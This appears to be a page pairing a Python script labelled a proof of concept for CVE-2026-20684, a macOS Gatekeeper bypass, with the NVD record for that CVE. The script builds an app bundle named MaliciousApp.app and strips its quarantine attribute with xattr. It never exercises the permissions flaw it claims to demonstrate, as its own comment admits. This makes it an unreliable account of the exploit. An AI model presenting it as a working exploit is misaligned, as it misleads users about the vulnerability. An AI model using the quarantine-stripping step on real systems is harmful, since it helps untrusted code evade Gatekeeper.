CVE-2026-20684

#!/usr/bin/env python3 # PoC for CVE-2026-20684 (Gatekeeper Bypass) # This script demonstrates how an app might bypass Gatekeeper checks # by manipulating file attributes or leveraging the permissions flaw. import os import subprocess def create_malicious_app(): app_name = "MaliciousApp.app" print(f"[*] Creating {app_name} structure...") # Create basic app structure contents_dir = os.path.join(app_name, "Contents") macos_dir = os.path.join(contents_dir, "MacOS") os.makedirs(macos_dir, exist_ok=True) # Create a malicious payload (simple shell script) payload_path = os.path.join(macos_dir, "malicious_app") with open(payload_path, 'w') as f: f.write("#!/bin/bash\n") f.write("echo 'Gatekeeper Bypassed!'\n") f.write("say 'System compromised'\n") os.chmod(payload_path, 0o755) # Create Info.plist (Minimal configuration) plist_path = os.path.join(contents_dir, "Info.plist") with open(plist_path, 'w') as f: f.write('<?xml version="1.0" encoding="UTF-8"?>\n') f.write('<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n') f.write('<plist version="1.0">\n') f.write('<dict>\n') f.write(' <key>CFBundleExecutable</key>\n') f.write(' <string>malicious_app</string>\n') f.write(' <key>CFBundleIdentifier</key>\n') f.write(' <string>com.example.malicious</string>\n') f.write('</dict>\n') f.write('</plist>\n') # Attempt to remove quarantine attributes to simulate bypass # In a real exploit, the vulnerability would allow this without triggering warnings try: subprocess.run(['xattr', '-d', 'com.apple.quarantine', app_name], check=False) print(f"[+] Quarantine attributes removed from {app_name}") except Exception as e: print(f"[-] Error removing attributes: {e}") print(f"[+] PoC created at ./{app_name}") print("[*] Run 'open ./' + app_name + ' to test interaction") if __name__ == "__main__": create_malicious_app()

{"cve": {"id": "CVE-2026-20684", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:05.387", "lastModified": "2026-05-10T14:16:46.587", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Tahoe 26.4. An app may bypass Gatekeeper checks."}, {"lang": "es", "value": "Se abordó un problema de permisos con restricciones adicionales. Este problema está corregido en macOS Tahoe 26.4. Una app puede eludir las comprobaciones de Gatekeeper."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.4", "matchCriteriaId": "6CF848CD-25D4-4371-BEF3-1ACCE47AD81F"}]}]}], "references": [{"url": "https://support.apple.com/en-us/126794", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}